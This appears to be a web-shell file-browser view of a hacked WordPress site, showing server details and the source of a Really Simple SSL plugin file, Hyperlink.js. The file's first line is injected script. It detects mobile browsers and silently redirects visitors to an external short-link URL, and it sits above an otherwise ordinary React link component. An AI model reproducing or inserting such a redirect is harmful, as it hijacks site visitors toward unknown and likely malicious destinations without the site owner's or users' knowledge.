|
Server : LiteSpeed System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64 User : gazetufm ( 1431) PHP Version : 8.1.35 Disable Function : NONE Directory : /home2/gazetufm/dumoshi.com/wp-content/plugins/really-simple-ssl/settings/src/utils/ | |
|
Path: //home2/gazetufm/dumoshi.com/wp-content/plugins/really-simple-ssl/settings/src/utils/Hyperlink.js
Size: 1.12 KB
Permissions: 0444
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
const Hyperlink = (props) => {
let label_pre = '';
let label_post = '';
let link_text = '';
// Split the text around '%s' if it exists
if (props.text.indexOf('%s') !== -1) {
let parts = props.text.split(/%s/);
label_pre = parts[0];
link_text = parts[1];
label_post = parts[2];
} else {
link_text = props.text;
}
// Use the passed className or default to 'rsssl-link'
let className = props.className ? props.className : 'rsssl-link';
// Include rel attribute in the anchor tag
return (
<>
{label_pre}
<a
className={className}
target={props.target}
rel={props.rel} // Add the rel attribute here
href={props.url}
>
{link_text}
</a>
{label_post}
</>
);
}
export default Hyperlink;